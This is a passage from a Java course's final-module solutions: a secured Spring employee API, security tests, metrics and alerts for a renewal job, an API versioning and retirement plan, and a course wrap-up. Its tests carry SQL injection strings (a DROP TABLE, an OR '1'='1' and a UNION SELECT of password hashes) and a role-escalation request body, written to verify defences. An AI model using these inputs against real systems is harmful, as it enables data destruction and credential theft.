return EmployeeResponse.from(service.update(id, request));
}
// ---------------------------------------------------------------
// Role change: a SEPARATE endpoint, ADMIN only, audited
// ---------------------------------------------------------------
@PutMapping("/{id}/role")
@PreAuthorize("hasRole('ADMIN')")
@Audited(action = "CHANGE_ROLE")
public EmployeeResponse changeRole(@PathVariable Long id,
@Valid @RequestBody ChangeRoleRequest request) {
return EmployeeResponse.from(service.changeRole(id, request.role()));
}
// ---------------------------------------------------------------
// Search: parameterised, paginated, with a bounded length
// ---------------------------------------------------------------
@GetMapping("/search")
@PreAuthorize("hasAnyRole('LIBRARIAN','ADMIN')")
public PageResponse<EmployeeSummaryResponse> search(
@RequestParam @Size(min = 2, max = 100) String name,
@PageableDefault(size = 20) Pageable pageable) {
return PageResponse.from(
service.findByName(name, pageable) // PARAMETERISED query
.map(EmployeeSummaryResponse::from)); // summary: even less data
}
}The DTOs, which are where the structural defence lives:
/** Output: only what this endpoint is allowed to reveal. */
public record EmployeeResponse(Long id, String name, String email,
String department, LocalDate hireDate) {
// NO passwordHash, NO role, NO version, NO internal data
public static EmployeeResponse from(Employee e) {
return new EmployeeResponse(e.getId(), e.getName(), e.getEmail(),
e.getDepartment(), e.getHireDate());
}
}
/** Summary for listings: even less information. */
public record EmployeeSummaryResponse(Long id, String name, String department) { }
/** Input: ONLY the fields a user may change about themselves. */
public record UpdateEmployeeRequest(
@NotBlank @Size(max = 150) String name,
@NotBlank @Email @Size(max = 200) String email,
@Size(max = 100) String department) {
// No id, no role, no password, no version. Structurally impossible.
}
public record ChangeRoleRequest(@NotNull Role role) { }And the safe query:
public interface EmployeeRepository extends JpaRepository<Employee, Long> {
/** Parameterised: the value is NEVER interpreted as SQL. */
@Query("""
select e from Employee e
where lower(e.name) like lower(concat('%', :name, '%'))
""")
Page<Employee> findByName(@Param("name") String name, Pageable pageable);
}Security tests, which are what stops the vulnerability coming back:
@WebMvcTest(EmployeeController.class)
@Import(SecurityConfiguration.class)
class EmployeeControllerSecurityTest {
@Autowired MockMvc mvc;
@MockitoBean EmployeeService service;
@Test
void withoutAuthenticationReturns401() throws Exception {
mvc.perform(get("/api/v1/employees/1"))
.andExpect(status().isUnauthorized());
}
@Test
@WithMockUser(username = "2", roles = "EMPLOYEE")
void anEmployeeCannotSeeAnotherEmployeesData() throws Exception {
mvc.perform(get("/api/v1/employees/1")) // user 2 asks for user 1's data
.andExpect(status().isForbidden()); // ← the IDOR is closed
}
@Test
@WithMockUser(username = "1", roles = "EMPLOYEE")
void anEmployeeCanSeeTheirOwnData() throws Exception {
when(service.findById(1L)).thenReturn(Optional.of(anEmployee(1L, "Marta Ruiz")));
mvc.perform(get("/api/v1/employees/1"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.name").value("Marta Ruiz"))
// Check EXPLICITLY that nothing leaks
.andExpect(jsonPath("$.passwordHash").doesNotExist())
.andExpect(jsonPath("$.role").doesNotExist())
.andExpect(jsonPath("$.version").doesNotExist());
}
@Test
@WithMockUser(username = "1", roles = "EMPLOYEE")
void privilegesCannotBeEscalatedThroughTheUpdate() throws Exception {
// Mass-assignment attempt: send fields the DTO does not have
mvc.perform(put("/api/v1/employees/1")
.contentType(MediaType.APPLICATION_JSON)
.content("""
{"name":"Marta Ruiz","email":"[email protected]",
"role":"ADMIN","passwordHash":"whatever","id":999}"""))
.andExpect(status().isOk());
// The malicious fields are IGNORED: the DTO does not have them
ArgumentCaptor<UpdateEmployeeRequest> captor =
ArgumentCaptor.forClass(UpdateEmployeeRequest.class);
verify(service).update(eq(1L), captor.capture());
assertThat(captor.getValue().name()).isEqualTo("Marta Ruiz");
// There is no way for 'role' to have reached the service
}
@ParameterizedTest
@ValueSource(strings = {
"'; DROP TABLE employees; --",
"' OR '1'='1",
"%' UNION SELECT password_hash FROM employees --"
})
@WithMockUser(roles = "LIBRARIAN")
void searchIsImmuneToSqlInjection(String maliciousPayload) throws Exception {
when(service.findByName(anyString(), any())).thenReturn(Page.empty());
mvc.perform(get("/api/v1/employees/search").param("name", maliciousPayload))
.andExpect(status().isOk())
.andExpect(jsonPath("$.content").isEmpty());
// The payload reaches the repository as a literal VALUE, not as SQL
verify(service).findByName(eq(maliciousPayload), any());
}
@Test
@WithMockUser(username = "1", roles = "EMPLOYEE")
void anEmployeeCannotChangeRoles() throws Exception {
mvc.perform(put("/api/v1/employees/1/role")
.contentType(MediaType.APPLICATION_JSON)
.content("{\"role\":\"ADMIN\"}"))
.andExpect(status().isForbidden());
}
}Solution 2
Metrics:
| Metric | Type | Tags | Why |
|---|---|---|---|
bibliotech.auto_renewal.runs |
Counter | result (success, failure) |
Is the process running at all? |
bibliotech.auto_renewal.duration |
Timer | — | Is it degrading? |
bibliotech.auto_renewal.candidates |
Gauge | — | How many loans does it evaluate? |
bibliotech.auto_renewal.renewed |
Counter | material_type |
The useful outcome |
bibliotech.auto_renewal.skipped |
Counter | reason |
The most informative one |
bibliotech.auto_renewal.last_run |
Gauge | — | Timestamp: detects that it stopped running |
The key is skipped with the reason tag (has_reservations, already_renewed, employee_has_fines, material_withdrawn): if one reason spikes, there is a behaviour change that no aggregate metric would reveal.
@Service
public class AutomaticRenewal {
private static final Logger log = LoggerFactory.getLogger(AutomaticRenewal.class);
private final MeterRegistry registry;
private final AtomicLong lastRun = new AtomicLong(0);
@PostConstruct
void registerGauges() {
Gauge.builder("bibliotech.auto_renewal.last_run", lastRun, AtomicLong::get)
.description("Unix timestamp of the last successful run")
.register(registry);
}
@Scheduled(cron = "0 0 3 * * *")
@SchedulerLock(name = "automaticRenewal", lockAtMostFor = "30m") // 12-06
public void run() {
Timer.Sample sample = Timer.start(registry);
MDC.put("process", "automatic-renewal");
MDC.put("traceId", UUID.randomUUID().toString());
int renewed = 0;
Map<String, Integer> skipped = new HashMap<>();
try {
List<Loan> candidates = repository.dueIn(1);
registry.gauge("bibliotech.auto_renewal.candidates", candidates.size());
log.info("Automatic renewal started: {} candidates", candidates.size());
for (Loan l : candidates) {
Optional<String> reason = reasonNotToRenew(l);
if (reason.isPresent()) {
skipped.merge(reason.get(), 1, Integer::sum);
registry.counter("bibliotech.auto_renewal.skipped",
"reason", reason.get()).increment();
// DEBUG: this is the normal case, it must not flood the log
log.debug("Loan {} skipped: {}", l.getId(), reason.get());
continue;
}
manager.renew(l.getId(), null);
renewed++;
registry.counter("bibliotech.auto_renewal.renewed",
"material_type", l.materialType().name()).increment();
}
lastRun.set(Instant.now().getEpochSecond());
registry.counter("bibliotech.auto_renewal.runs", "result", "success")
.increment();
// INFO: one line with the SUMMARY. It is what an operator would want to see (11-07).
log.info("Automatic renewal completed: {} candidates, {} renewed, skipped={}",
candidates.size(), renewed, skipped);
} catch (Exception e) {
registry.counter("bibliotech.auto_renewal.runs", "result", "failure")
.increment();
log.error("Automatic renewal failed after renewing {}", renewed, e);
throw e;
} finally {
sample.stop(registry.timer("bibliotech.auto_renewal.duration"));
MDC.clear(); // rule from 11-07
}
}
}The three alerts:
# ALERT 1: the process has stopped running.
# The MOST IMPORTANT one, because it is a SILENT failure: nothing errors,
# loans simply stop being renewed and nobody finds out
# until undue fines start arriving.
- alert: AutomaticRenewalNotRunning
expr: (time() - bibliotech_auto_renewal_last_run) > 93600 # 26 hours
for: 10m
labels: { severity: high }
annotations:
summary: "Automatic renewal has not run for {{ $value | humanizeDuration }}"
action: |
1. Does the CronJob/scheduler exist? kubectl get cronjob bibliotech-auto-renewal
2. Is a ShedLock lock stuck? select * from shedlock where name='automaticRenewal'
3. Run it by hand: bibliotech loan auto-renew --dry-run
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#auto-renewal"
# ALERT 2: it runs but it fails
- alert: AutomaticRenewalFailing
expr: increase(bibliotech_auto_renewal_runs_total{result="failure"}[25h]) > 0
for: 5m
labels: { severity: high }
annotations:
summary: "Automatic renewal has failed"
action: "Search the logs: process=automatic-renewal level=ERROR"
# ALERT 3: an abrupt change of behaviour.
# Detects that a rule has broken: for example, a bug that makes
# EVERYTHING get skipped as 'has_reservations' when it did not before.
- alert: AutomaticRenewalAnomalousBehaviour
expr: |
(sum(increase(bibliotech_auto_renewal_renewed_total[25h]))
/ sum(increase(bibliotech_auto_renewal_candidates[25h]))) < 0.2
and sum(increase(bibliotech_auto_renewal_candidates[25h])) > 20
for: 30m
labels: { severity: medium }
annotations:
summary: "Only {{ $value | humanizePercentage }} of the candidates are being renewed"
description: "Check the distribution of bibliotech_auto_renewal_skipped by reason"Dashboard panels:
| Panel | Query | Type |
|---|---|---|
| Last run | time() - bibliotech_auto_renewal_last_run |
Stat with threshold |
| Renewed per day | increase(bibliotech_auto_renewal_renewed_total[1d]) |
Bars |
| Skipped by reason | sum(increase(...skipped_total[1d])) by (reason) |
Stacked bars |
| Renewal rate | renewed / candidates |
Gauge |
| Duration | bibliotech_auto_renewal_duration_seconds |
Time series |
How to detect that it stopped running — the heart of the exercise. There are three approaches, and only one works well:
| Approach | Problem |
|---|---|
| Alert if the counter stops growing | A day with no candidates is normal: false positive |
| Alert if there is an error | If the process never starts, there is no error to log |
| Gauge with the timestamp of the last run | ✅ Works: it is a dead man's switch |
The technique is called a dead man's switch: instead of alerting when something goes wrong, you alert when the signal that everything is fine stops arriving. It is the only pattern that detects that a process has vanished, and it applies equally to scheduled jobs, to backups and to any periodic process.
Solution 3
Strategy: the version in the URI, with /api/v1/ and /api/v2/ living side by side.
Timeline:
| Date | Milestone |
|---|---|
| 2026-09-01 | v2 published; v1 marked deprecated with headers |
| 2026-09-01 | Migration guide, documentation and v1 usage metrics |
| 2026-10-01 | First notice to the clients with measured usage |
| 2027-01-01 | Final warning (1 month) to whoever is still on v1 |
| 2027-02-01 | v1 retired: 410 Gone with a link to v2 |
Five months of notice, which is the reasonable minimum with three clients, one of which (HR) is outside your control.
Code for both versions, sharing the same use case:
// ---------------- V1: DEPRECATED ----------------
@RestController
@RequestMapping("/api/v1/loans")
@Tag(name = "Loans v1", description = "DEPRECATED — retired on 2027-02-01")
public class LoanControllerV1 {
private final ManageLoans manager; // the SAME use case as v2
private final MeterRegistry registry;
@GetMapping("/{id}")
@Deprecated(since = "2.0.0", forRemoval = true)
@Operation(deprecated = true, summary = "[DEPRECATED] Use GET /api/v2/loans/{id}")
public ResponseEntity<LoanResponseV1> byId(
@PathVariable Long id,
@RequestHeader(value = "X-Client", defaultValue = "unknown") String client) {
// Measure WHO is still using v1: without this, retiring it is a gamble
registry.counter("bibliotech.api.v1.usage", "client", client, "endpoint", "loan_by_id")
.increment();
Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));
return ResponseEntity.ok()
.header("Deprecation", "@1756684800") // RFC 8594: epoch
.header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
.header("Link", "</api/v2/loans/" + id + ">; rel=\"successor-version\", "
+ "<https://docs.nexussoftware.com/bibliotech/migration-v2>; rel=\"deprecation\"")
.header("Warning", "299 - \"This API version will be retired on 2027-02-01\"")
.body(LoanResponseV1.from(loan));
}
}
/** v1 DTO: it is FROZEN. Nothing is ever added to it or removed from it again. */
public record LoanResponseV1(Long id, String isbn, String employee,
LocalDate due, boolean returned, BigDecimal fine) {
public static LoanResponseV1 from(Loan l) {
return new LoanResponseV1(
l.getId(), l.getIsbn().value(), l.employeeName(),
l.getDueDate(),
l.getReturnDate().isPresent(),
l.accruedFine(LocalDate.now()).amount());
}
}// ---------------- V2: CURRENT ----------------
@RestController
@RequestMapping("/api/v2/loans")
@Tag(name = "Loans")
public class LoanControllerV2 {
@GetMapping("/{id}")
public LoanResponseV2 byId(@PathVariable Long id) {
Loan loan = manager.find(id).orElseThrow(() -> new LoanNotFoundException(id));
return LoanResponseV2.from(loan, LocalDate.now(clock));
}
}
public record LoanResponseV2(
Long id,
String isbn,
EmployeeSummary employee, // an object, not a string
LocalDate loanDate,
LocalDate dueDate,
LocalDate returnDate,
LoanStatus status, // an enum, not a boolean
Amount fine, // an object with a currency
boolean renewable, // NEW
long daysRemaining) { // NEW
public record EmployeeSummary(Long id, String name, String email) { }
public record Amount(BigDecimal amount, String currency) { }
public static LoanResponseV2 from(Loan l, LocalDate today) {
return new LoanResponseV2(
l.getId(), l.getIsbn().value(),
new EmployeeSummary(l.getEmployeeId(), l.employeeName(), l.employeeEmail()),
l.getLoanDate(), l.getDueDate(),
l.getReturnDate().orElse(null),
l.getStatus(),
new Amount(l.accruedFine(today).amount(), "EUR"),
l.getStatus().allowsRenewal(),
ChronoUnit.DAYS.between(today, l.getDueDate()));
}
}The retirement, which leaves a useful trail instead of a baffling 404:
@RestController
@RequestMapping("/api/v1")
@Profile("post-v1-retirement")
public class V1RetiredController {
@RequestMapping("/**")
public ResponseEntity<ProblemDetail> retired(HttpServletRequest request) {
ProblemDetail detail = ProblemDetail.forStatusAndDetail(
HttpStatus.GONE, // 410, not 404: "it existed and was removed on purpose"
"Version 1 of the API was retired on 2027-02-01. Migrate to /api/v2.");
detail.setTitle("API version retired");
detail.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migration-v2"));
detail.setProperty("currentVersion", "v2");
detail.setProperty("migrationGuide", "https://docs.nexussoftware.com/bibliotech/migration-v2");
return ResponseEntity.status(HttpStatus.GONE)
.header("Link", "</api/v2>; rel=\"successor-version\"")
.body(detail);
}
}Measuring who is still on v1:
# v1 usage by client over the last 7 days
sum(increase(bibliotech_api_v1_usage_total[7d])) by (client)
# Percentage of traffic still on v1
sum(rate(bibliotech_api_v1_usage_total[1d]))
/ (sum(rate(bibliotech_api_v1_usage_total[1d])) + sum(rate(bibliotech_api_v2_usage_total[1d])))- alert: V1UsageAfterRetirementDate
expr: sum(increase(bibliotech_api_v1_usage_total[1d])) by (client) > 0
labels: { severity: medium }
annotations:
summary: "Client {{ $labels.client }} is still using API v1"
action: "Get in touch before 2027-02-01"Communication to the clients:
# BiblioTech API migration: v1 → v2
**v1 will be retired on 1 February 2027.**
## What changes
| v1 field | v2 field | Change |
|---|---|---|
| `employee` (string) | `employee.name` | Now an object with `id`, `name` and `email` |
| `due` | `dueDate` | Renamed |
| `returned` (boolean) | `status` (enum) | `ACTIVE`, `RENEWED`, `OVERDUE`, `RETURNED`, `LOST` |
| `fine` (number) | `fine.amount` + `fine.currency` | Object with an explicit currency |
| — | `renewable` | **New** |
| — | `daysRemaining` | **New** |
| — | `loanDate`, `returnDate` | **New** |
## Equivalences
// v1 const isReturned = response.returned; const name = response.employee; const fine = response.fine;
// v2 const isReturned = response.status === 'RETURNED'; const name = response.employee.name; const fine = response.fine.amount;
## Timeline - **2026-09-01**: v2 available. v1 deprecated (works as normal). - **2027-01-01**: final warning. - **2027-02-01**: v1 retired. It will return `410 Gone`. ## Help [email protected] — or open an issue in the repository.
And a design decision worth pointing out: v1 and v2 share the same use case (ManageLoans). Only the DTOs and the controllers differ. Without the architecture from 12-01, maintaining two versions would mean duplicating the business logic, and from there to the two versions behaving differently is a single step.
Conclusion: closing the course
BiblioTech's journey, module by module
Twelve modules ago, BiblioTech did not exist. This table is the whole journey:
| Module | BiblioTech at the start | BiblioTech at the end |
|---|---|---|
| 1. Introduction to Java | Nothing. Not one file | A program that compiles and runs: variables, types, operators, console input with Scanner, output with printf. A first catalogue of three books with their data |
| 2. Control Flow | A linear program that only runs statements in order | An interactive menu with conditionals, loops, switch and input validation. And the ability to debug it step by step instead of guessing |
| 3. Object-Oriented Programming | Loose variables and static methods | Objects: Material, Book, Employee, Loan with state and behaviour of their own. Inheritance, polymorphism, encapsulation, abstraction and equals/hashCode/toString done properly |
| 4. Advanced Object-Oriented Programming | Class hierarchies and little else | Contracts: the Lendable and Notifiable interfaces, abstract classes, lambdas, functional interfaces, method references, enum with behaviour and record for immutable data |
| 5. Data Structures and Collections | Fixed-size arrays | The whole collections framework: lists, maps, sets, queues, stacks. Sorting with Comparator, searching, and an undo stack |
| 6. Exception Handling | Failures that aborted the program with a stack trace | A hierarchy of your own, BiblioTechException, try-with-resources, per-layer strategies, an error boundary and logging |
| 7. File Input/Output | Everything in memory: lost on exit | Persistence: classic I/O, NIO.2, serialisation, a catalogue in CSV and configuration in Properties. The data outlives the process |
| 8. Multithreading and Concurrency | One thing at a time | Threads, synchronized, ExecutorService, concurrent collections and CompletableFuture. The catalogue import went from minutes to seconds |
| 9. Networking | An isolated program on one machine | Communication: a multi-client CatalogServer with sockets, UDP, and an HTTP client querying external metadata |
| 10. Advanced Topics | Java 8 used halfway | Java 21 for real: generics, custom annotations, reflection and dynamic proxies, Streams and Optional, java.time with an injectable Clock, sealed, pattern matching, virtual threads, and real measurement of memory and performance |
| 11. Java Frameworks and Libraries | Everything written by hand, including a home-made dependency container | The ecosystem: a Maven project, Spring Boot with IoC and AOP, JPA/Hibernate over a database, 41 tests with JUnit 5 and Mockito, Jackson, Lombok and SLF4J with MDC |
| 12. Building Real-World Applications | Excellent parts with no product shape | A product: five Maven modules with the architecture verified by the compiler, patterns applied with judgement, a professional CLI, a documented REST API, a quality strategy with Testcontainers and mutation testing, deployed in containers with versioned migrations, and with security, observability and a plan for evolution |
From a System.out.println to a system in production with authentication, metrics, traces and a continuous delivery pipeline. That is the journey.
What you can do now
Without embellishment or false modesty, this is what you can do now that the course is over:
The language. You write idiomatic Java 21: collections and streams fluently, generics with wildcards, Optional without overusing it, record and sealed where they earn their place, pattern matching, java.time with an injectable clock. You understand what happens underneath: type erasure, class loading, memory, the GC and why you measure before optimising.
Design. You apply SOLID with examples, not from memory. You recognise and use the patterns when they solve a real problem and —the harder part— you know not to use them when they do not. You design layered and hexagonal architectures, you know where each responsibility belongs, and you use tooling so that the boundaries enforce themselves.
The ecosystem. You handle multi-module Maven, Spring Boot with dependency injection, profile-based configuration and AOP, JPA/Hibernate including the real problems (N+1, lazy loading, optimistic locking), Jackson, SLF4J and the libraries it is wise not to reinvent.
Quality. You write tests at the right level, with doubles when appropriate and a real database when it matters. You read coverage without fooling yourself, you know that mutation testing measures what coverage cannot, you refactor with a safety net, and you can develop test-first when the problem calls for it.
Operations. You containerise properly, you configure the JVM for a container, you version the schema with backwards-compatible migrations, you deploy without downtime and with a way back, and you build a pipeline that verifies, builds, publishes and deploys.
Production. You protect an API with authentication and authorisation, you know the common vulnerabilities and their concrete prevention, you instrument technical and business metrics, you correlate logs with traces, and you write alerts somebody will act on rather than ignore.
And one competency that appears on no list of requirements and is worth more than all of them: you know why things are the way they are. You know what Spring does underneath because you wrote a dependency container by hand. You know what a web server does because you wrote one with sockets. You know what @Transactional does because you wrote dynamic proxies. When something fails in a way that is in no tutorial, you will have somewhere to look.
What this course does NOT cover
Being honest about the limits is part of teaching well. These are important areas this course does not cover and which deserve study of their own:
| Area | What it is | Where to start |
|---|---|---|
| Kotlin | A modern JVM language, interoperable with Java. The standard on Android | Kotlin in Action; the official documentation |
| Android | Mobile development on the JVM: lifecycle, Jetpack Compose | The Android developer documentation |
| Reactive programming | WebFlux, Project Reactor: a non-blocking model for very high concurrency | Reactive Spring; and first weigh up whether virtual threads already solve your case |
| Microservices and messaging | Kafka, RabbitMQ, sagas, eventual consistency, service mesh | Building Microservices by Sam Newman |
| Big data | Spark, Flink, distributed processing | Designing Data-Intensive Applications |
| Data architecture | Advanced modelling, partitioning, CQRS, event sourcing, data warehousing | Designing Data-Intensive Applications, again |
| Advanced security | Applied cryptography, full OAuth2 and OIDC, forensics | The OWASP Testing Guide; specific training |
| Deep performance | Advanced profiling, GC tuning, JIT optimisations | Optimizing Java; JVM Anatomy Quarks |
| Strategic DDD | Bounded contexts, ubiquitous language, context maps | Domain-Driven Design by Eric Evans; Learning DDD by Vlad Khononov |
Recommended learning path
Right now (this week):
- Build something of your own. Do not follow another tutorial. Pick a problem you care about —an expense tracker, a habit tracker, a tool for your job— and build it with what you know. You will run into decisions no course ever poses, and that is where the real learning happens.
- Go back to BiblioTech and add something: the PDF reports, the console app with more commands, the web interface with Thymeleaf. You have the architecture; use it.
The next three months:
-
Read these three books, in this order:
- Effective Java, Joshua Bloch. Ninety items on how to write Java correctly. It is the book every Java developer should have read, and the one that gives its name to the Effective Java you have been lending out for twelve modules.
- Clean Code, Robert C. Martin. With a critical eye: not everything in it is beyond dispute, and the debate it provokes is part of its value.
- Refactoring, Martin Fowler. The catalogue of safe transformations. It complements what you saw in 12-05 perfectly.
-
Read other people's code. Clone Spring Boot, or a library you use, and read how it is built. At first it will be uncomfortable; within a month it will be the fastest way you have to learn.
-
Follow the JEPs (JDK Enhancement Proposals) at openjdk.org/jeps. That is where the future of the language is decided, and reading them puts you months ahead.
The next six months:
-
Contribute to an open source project. Start with documentation or with issues labelled good first issue. You will get code reviews from people with more experience, which is the best learning there is and free on top of that.
-
Go deep in one speciality, whichever appeals to you: data, architecture, security, performance, platform. Being good at everything does not exist.
-
Teach what you know. Write about what you learn, explain it to somebody, give an internal talk. There is no more effective way to discover what you do not quite understand.
Permanent reference resources:
| Resource | What for |
|---|---|
| docs.oracle.com/javase | The official Java documentation. Read it; it is better than people think |
| spring.io/guides and its reference | Spring, straight from the source |
| openjdk.org/jeps | The future of the language |
| Baeldung | Good-quality practical tutorials |
| InfoQ | Trends and architecture |
| Stack Overflow | For searching, not for copying without understanding |
A final piece of advice
Four things, and they are what separates somebody who programs in Java from somebody who is a good developer.
Read code. You are going to spend far more time reading than writing: other people's code, your own code from six months ago, library code. Reading well is a skill you train, and almost nobody trains it deliberately. Start today.
Write code. No amount of reading substitutes for having done it. The concepts in this course —dependency inversion, the Decorator pattern, the error boundary— are not truly understood until you have applied them and got them wrong. Get them wrong on your own projects, which is where it comes cheap.
Measure before optimising. It is the lesson of 10-07 and it holds for everything else. Your intuition about what is slow, about what breaks, about what users actually use, is systematically wrong. Measure, and decide with data. And the other way round too: do not stop measuring afterwards, because a system nobody observes degrades without anybody noticing.
Never stop learning. When you started this course, Java 21 was the current LTS. In three years it will be another one, and there will be things in the language that do not exist today. The frameworks will change, the tools will change, the practices will change. What does not change is the substance: separating responsibilities, making dependencies explicit, not repeating knowledge, testing what matters, measuring before deciding, and writing code the next person can understand. That is what you take away from here, and it works in any language.
One last observation, which may be the most useful of them all.
For twelve modules, BiblioTech has come and gone: it has been rewritten, refactored, decisions that looked good have been thrown away —the sealed on Material, the CSV, the home-made dependency container, java.util.logging— and replaced with better ones. At no point was that a failure. It was the process.
Real software is built that way: reasonable decisions with the information available, revisited later with new information. An experienced developer is not somebody who gets it right first time; it is somebody who has learned to build systems that can be changed when it turns out the first decision was not the right one.
That is exactly what you have been doing.
Now go and build something.
Java Programming Course
Module 1: Introduction to Java
- Introduction to Java
- Setting Up the Development Environment
- Basic Syntax and Structure
- Variables and Data Types
- Operators
- Console Input and Output
- Your First Complete Program: BiblioTech
Module 2: Control Flow
- Conditional Statements
- Loops
- Switch Statements
- Break and Continue
- Debugging and Execution Traces
- Project: The BiblioTech Interactive Menu
Module 3: Object-Oriented Programming
- Introduction to OOP
- Classes and Objects
- Methods
- Constructors
- Inheritance
- Polymorphism
- Encapsulation
- Abstraction
- The Object Class: equals, hashCode and toString
Module 4: Advanced Object-Oriented Programming
- Interfaces
- Abstract Classes
- Inner Classes
- Anonymous Classes
- Lambda Expressions
- Functional Interfaces and Method References
- Enums and Records
Module 5: Data Structures and Collections
- Arrays
- The Collections Framework
- ArrayList
- LinkedList
- HashMap
- HashSet
- Queue and Deque
- Stack
- Sorting and Searching Collections
Module 6: Exception Handling
- Introduction to Exceptions
- The Try-Catch Block
- Throw and Throws
- Custom Exceptions
- The Finally Block
- Try-with-resources and AutoCloseable
- Error Handling Strategies and Logging
Module 7: File Input/Output
- Reading Files
- Writing Files
- File Streams
- BufferedReader and BufferedWriter
- Serialization
- The NIO.2 API: Path and Files
- Interchange Formats: CSV and Properties
Module 8: Multithreading and Concurrency
- Introduction to Multithreading
- Creating Threads
- Thread Lifecycle
- Synchronization
- Concurrency Utilities
- Concurrent Collections and Atomic Variables
- Asynchronous Tasks with CompletableFuture
Module 9: Networking
- Introduction to Networking
- Sockets
- ServerSocket
- DatagramSocket and DatagramPacket
- URL and HttpURLConnection
- The Modern HTTP Client
Module 10: Advanced Topics
- Generics
- Annotations
- Reflection
- Java 8 Features: Streams and Optional
- Dates and Times with java.time
- Java 9 and Beyond
- Memory, Garbage Collection and Performance
Module 11: Java Frameworks and Libraries
- Introduction to Java Frameworks
- Spring Framework
- Hibernate
- JUnit
- Maven
- Advanced Testing with Mockito
- Essential Ecosystem Libraries
